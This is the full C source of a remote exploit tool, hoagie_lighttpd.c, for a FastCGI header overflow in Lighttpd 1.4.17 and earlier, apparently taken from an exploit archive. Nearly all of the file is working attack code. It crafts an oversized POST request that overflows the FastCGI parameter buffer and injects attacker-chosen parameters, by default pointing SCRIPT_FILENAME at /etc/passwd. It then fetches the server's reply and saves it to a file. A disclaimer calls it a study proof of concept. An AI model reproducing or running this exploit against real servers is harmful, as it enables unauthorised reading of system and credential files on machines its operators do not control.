Lighttpd version 1.4.17 and below FastCGI header overflow remote exploit.
7c39ec7d2d16e0c3a90deba300e963a021c303d9e764b6adc815b8dd389eab3a
/***********************************************************
* hoagie_lighttpd.c
* LIGHTTPD/FASTCGI REMOTE EXPLOIT (<= 1.4.17)
*
* Bug discovered by:
* Mattias Bengtsson <mattias@secweb.se>
* Philip Olausson <po@secweb.se>
* http://www.secweb.se/en/advisories/lighttpd-fastcgi-remote-vulnerability/
*
* FastCGI:
* http://www.fastcgi.com/devkit/doc/fcgi-spec.html
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
*
************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* don't change this values except you know exactly what you are doing */
#define REQUEST_SIZE_BASE 0x1530a
char FILL_CHAR[] = "void";
char RANDOM_CHAR[] = "01234567890"
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
/* just default values */
#define DEFAULT_SCRIPT "/index.php" /* can be changed via -s */
#define DEFAULT_PORT "80" /* can be changed via -p */
#define DEFAULT_NAME "SCRIPT_FILENAME" /* can be changed via -n */
#define DEFAULT_VALUE "/etc/passwd" /* can be change via -a */
#define DEFAULT_SEPARATOR ','
#define BUFFER_SIZE 1024
/* header data type
* defining header name/value content and length
* if a fixed value is set use this one instead of generating content
*/
struct header_t {
int name_length;
char name_char;
int value_length;
char value_char;
char *value_value;
};
/* generate_param
* generate character array (input: comma separated list)
*/
char *generate_param(int *param_size_out,
char **name,
char **value) {
char *param = NULL;
int param_size = 0;
int param_offset = 0;
int i;
int name_length = 0;
int value_length = 0;
for (i = 0; name[i] != NULL && value[i] != NULL; i++) {
name_length = strlen(name[i]);
value_length = strlen(value[i]);
if (name_length > 127) {
param_size += 4;
} else {
param_size++;
}
if (value_length > 127) {
param_size += 4;
} else {
param_size++;
}
param_size += strlen(name[i]) + strlen(value[i]);
param = realloc(param, param_size);
if (param) {
if (strlen(name[i]) > 127) {
param[param_offset++] = (name_length >> 24) | 0x80;
param[param_offset++] = (name_length >> 16) & 0xff;
param[param_offset++] = (name_length >> 8) & 0xff;
param[param_offset++] = name_length & 0xff;
} else {
param[param_offset++] = name_length;
}
if (strlen(value[i]) > 127) {
param[param_offset++] = (value_length >> 24) | 0x80;
param[param_offset++] = (value_length >> 16) & 0xff;
param[param_offset++] = (value_length >> 8) & 0xff;
param[param_offset++] = value_length & 0xff;
} else {
param[param_offset++] = value_length;
}
memcpy(param + param_offset, name[i], name_length);
param_offset += name_length;
memcpy(param + param_offset, value[i], value_length);
param_offset += value_length;
}
}
if (param) {
*param_size_out = param_size;
}
return param;
}
/* generate_buffer
* generate header name or value buffer
*/
char *generate_buffer(int length, char c, int random_mode) {
char *buffer = (char*)malloc(length + 1);
int i;
if (buffer) {
memset(buffer, 0, length + 1);
if (random_mode) {
for (i = 0; i < length; i++) {
buffer[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];
}
} else {
memset(buffer, c, length);
}
}
return buffer;
}
/* generate_array
* generate character array (input: comma separated list)
*/
char **generate_array(char *list, char separator, int *length) {
char **data = NULL;
int i = 0;
int start = 0;
int j = 1;
if (list) {
for (i = 0; i <= strlen(list); i++) {
if (list[i] == separator ||
i == strlen(list)) {
data = realloc(data, (j + 1) * (sizeof(char*)));
if (data) {
data[j - 1] = malloc(i - start + 1);
if (data[j - 1]) {
strncpy(data[j - 1], list + start, i - start);
data[j - 1][i - start + 1] = 0;
}
data[j] = NULL;
}
start = i + 1;
j++;
}
}
*length = j;
}
return data;
}
/* generate_request
* generate http request to trigger the overflow in fastcgi module
* and overwrite fcgi param data with post content
*/
char *generate_request(char *server, char *port,
char *script, char **names,
char **values, int *length_out,
int random_mode) {
char *param;
int param_size;
char *request;
int offset;
int length;
int i;
int fillup;
char *name;
char *value;
/* array of header data that is used to create header name and value lines
* most of this values can be changed -> only length is important and a
* few characters */
struct header_t header[] = {
{ 0x01, '0', 0x04, FILL_CHAR[0], NULL },
{ FILL_CHAR[0] - 0x5 - 0x2, 'B', FILL_CHAR[0] - 0x2, 'B', NULL },
{ 0x01, '1', 0x5450 - ( (FILL_CHAR[0] + 0x1) * 2) - 0x1 - 0x5 - 0x1 - 0x4, 'C', NULL },
{ 0x01, '2', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'D', NULL },
{ 0x01, '3', 0x04, FILL_CHAR[1], NULL },
{ FILL_CHAR[1] - 0x5 - 0x2, 'F', FILL_CHAR[1] - 0x2, 'F', NULL },
{ 0x01, '4', 0x5450 - ( (FILL_CHAR[1] + 0x1) * 2) - 0x1 - 0x5 - 0x1 - 0x4, 'H', NULL },
{ 0x01, '5', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'I', NULL },
{ 0x01, '6', 0x04, FILL_CHAR[2], NULL },
{ FILL_CHAR[2] - 0x5 - 0x2, 'K', FILL_CHAR[2] - 0x2, 'K', NULL },
{ 0x01, '7', 0x5450 - ( (FILL_CHAR[2] + 0x1) * 2) - 0x1 - 0x5 - 0x1 - 0x4, 'L', NULL },
{ 0x01, '8', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'M', NULL },
{ 0x01, '9', 0, 0, "uvzz" },
{ FILL_CHAR[3] - 0x5 - 0x2, 'O', FILL_CHAR[3] - 0x2, 'O', NULL },
{ 0x01, 'z', 0x1cf - ((FILL_CHAR[3]- 0x1 ) * 2) -0x1 - 0x5 - 0x1 - 0x4, 'z', NULL },
{ 0x00, 0x00, 0x00, 0x00, NULL }
};
/* fill rest of post content with data */
char content_part_one[] = {
0x06, 0x80, 0x00, 0x00, 0x00, 'H', 'T', 'T', 'P', '_', 'W'
};
/* set a fake FastCGI record to mark the end of data */
char content_part_two[] = {
0x01, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
param = generate_param(¶m_size, names, values);
if (param && param_size > 0) {
fillup = 0x54af - 0x5f - 0x1e3 - param_size - 0x1 - 0x5 - 0x1 - 0x4;
length = REQUEST_SIZE_BASE + param_size +
strlen(server) + strlen(port) +
strlen(script);
request = (char*)malloc(length);
if (request) {
memset(request, 0, length);
offset = sprintf(request,
"POST %s HTTP/1.1\r\n"
"Host: %s:%s\r\n"
"Connection: close\r\n"
"Content-Length: %d\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n",
script,
server, port,
fillup + param_size + sizeof(content_part_one) +
sizeof(content_part_two) + 0x5f);
for (i = 0; header[i].name_length != 0; i++) {
name = generate_buffer(header[i].name_length,
header[i].name_char,
header[i].name_length != 1 ? random_mode : 0);
if (header[i].value_value) {
value = header[i].value_value;
} else {
value = generate_buffer(header[i].value_length,
header[i].value_char,
header[i].value_length != 4 &&
header[i].value_char != 'z' ? random_mode : 0);
}
offset += sprintf(request + offset,
"%s: %s\r\n", name, value);
if (!header[i].value_value) {
free(value);
}
free(name);
}
offset += sprintf(request + offset, "\r\n");
memcpy(request + offset, param, param_size);
offset += param_size;
content_part_one[0x03] = (fillup >> 8) & 0xff;
content_part_one[0x04] = fillup & 0xff;
for (i = 0; i < sizeof(content_part_one); i++) {
request[offset++] = content_part_one[i];
}
for (i = 0; i < fillup + 0x5f; i++) {
request[offset++] = random_mode ? RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))] : 'W';
}
for (i = 0; i < sizeof(content_part_two); i++) {
request[offset++] = content_part_two[i];
}
*length_out = offset;
}
}
return request;
}
/* usage
* display help screen
*/
void usage(int argc, char **argv) {
fprintf(stderr,
"usage: %s [-h] [-v] [-r] [-d <host>] [-s <script>] [-p <port>]\n"
" [-n <header names>] [-a <header values>] [-o <output>]\n"
"\n"
"-h help\n"
"-v verbose\n"
"-r enable random mode\n"
"-d host HTTP server\n"
"-p port HTTP port (default: %s)\n"
"-s script script url on remote server (default: %s)\n"
"-n value header names (comma seperated, default: %s)\n"
"-a value header values (comma seperated, default: %s)\n"
"-o output save result in output file\n"
"\n"
,
argv[0],
DEFAULT_PORT,
DEFAULT_SCRIPT,
DEFAULT_NAME,
DEFAULT_VALUE);
exit(1);
}
/* connect_to
* connect to remote http server
*/
int connect_to(char *host, int port) {
struct sockaddr_in s_in;
struct hostent *he;
int s;
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
return -1;
}
memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = AF_INET;
s_in.sin_port = htons(port);
if ( (he = gethostbyname(host)) != NULL)
memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
else {
if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
return -3;
}
}
if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
return -4;
}
return s;
}
/* parse_response
* parse response data from http server
*/
void parse_response(char *response, int response_length, char *output) {
char *p;
int http_code;
int header_mode = 1;
int size;
int bytes = 0;
FILE *fp = stdout;
p = strtok(response, "\r\n");
while (p) {
/* header mode active? */
if (header_mode) {
if (strstr(p, "HTTP/1.1 ") == p) {
sscanf(p, "HTTP/1.1 %d", &http_code);
if (http_code == 200) {
printf("[*] request successful\n");
} else {
printf("[*] request failed (error code: %d)\n", http_code);
}
} else if (strstr(p, "Server: ") == p) {
printf("[*] server version: %s\n", strstr(p, "Server: ") + 8);
/* content length for first content */
} else if (!strchr(p, ':') && http_code == 200) {
sscanf(p, "%x", &size);
header_mode = 0;
if (output) {
fp = fopen(output, "w");
}
}
} else {
if (bytes < size) {
fprintf(fp, "%s\n", p);
bytes += strlen(p) + 1;
}
}
p = strtok(NULL, "\r\n");
}
if (fp != stdout && fp != NULL) {
printf("[*] %d bytes written to %s\n", bytes, output);
fclose(fp);
}
}
/* main entry
*/
int main(int argc, char **argv) {
char *server = NULL;
char *port = DEFAULT_PORT;
char *script = DEFAULT_SCRIPT;
char **name = NULL;
int name_length = 0;
char **value = NULL;
int value_length = 0;
char *request = NULL;
int request_length = 0;
int i;
int random_mode = 0;
int verbose = 0;
int s;
char c;
fd_set fs;
int bytes;
char buffer[BUFFER_SIZE];
char *response = NULL;
int response_length = 0;
char *output = NULL;
fprintf(stderr,
"hoagie_lighttpd.c - lighttpd(fastcgi) <= 1.4.17 remote\n"
"-andi / void.at\n\n");
if (argc < 2) {
usage(argc, argv);
} else {
while ((c = getopt (argc, argv, "hvrd:p:s:u:n:a:o:")) != EOF) {
switch (c) {
case 'h':
usage(argc, argv);
break;
case 'd':
server = optarg;
break;
case 'p':
port = optarg;
break;
case 's':
script = optarg;
break;
case 'n':
name = generate_array(optarg, DEFAULT_SEPARATOR, &name_length);
break;
case 'a':
value = generate_array(optarg, DEFAULT_SEPARATOR, &value_length);
break;
case 'r':
random_mode = 1;
srand(time(NULL));
break;
case 'v':
verbose = 1;
break;
case 'o':
output = optarg;
break;
default:
fprintf(stderr, "[*] unknown command line option '%c'\n", c);
exit(-1);
}
}
if (!name) {
name = generate_array(DEFAULT_NAME, DEFAULT_SEPARATOR, &name_length);
}
if (!value) {
value = generate_array(DEFAULT_VALUE, DEFAULT_SEPARATOR, &value_length);
}
if (name_length != value_length) {
fprintf(stderr,
"[*] check -n and -n parameter (argument list doesnt match)\n");
} else if (!server) {
fprintf(stderr, "[*] server is missing\n");
} else {
if (random_mode) {
for (i = 0; i < 4; i++) {
FILL_CHAR[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];
}
}
printf("[*] creating request (filler: %c/%c/%c/%c, random: %s)\n",
FILL_CHAR[0], FILL_CHAR[1], FILL_CHAR[2], FILL_CHAR[3],
random_mode ? "on": "off");
for (i = 0; name[i]; i++) {
printf("[*] set header [%s]=>[%s]\n", name[i], value[i]);
}
request = generate_request(server, port, script, name, value,
&request_length, random_mode);
if (verbose) {
printf("[*] sending [");
write(1, request, request_length);
printf("]\n");
}
if (request) {
printf("[*] connecting to %s:%s ...\n", server, port);
s = connect_to(server, atoi(port));
if (s > 0) {
FD_ZERO(&fs);
FD_SET(s, &fs);
printf("[*] request url %s\n", script);
write(s, request, request_length);
do {
select(s + 1, &fs, NULL, NULL, NULL);
bytes = read(s, buffer, sizeof(buffer));
if (bytes > 0) {
response_length += bytes;
response = realloc(response, response_length + 1);
if (response) {
memcpy(response + response_length - bytes,
buffer,
bytes);
}
}
} while (bytes > 0);
close(s);
response[response_length] = 0;
parse_response(response, response_length, output);
} else {
fprintf(stderr, "[*] connect failed\n");
}
free(request);
} else {
fprintf(stderr, "[*] can't allocate memory for request\n");
}
}
for (i = 0; name[i]; i++) {
free(name[i]);
}
free(name);
for (i = 0; value[i]; i++) {
free(value[i]);
}
free(value);
}
return 0;
}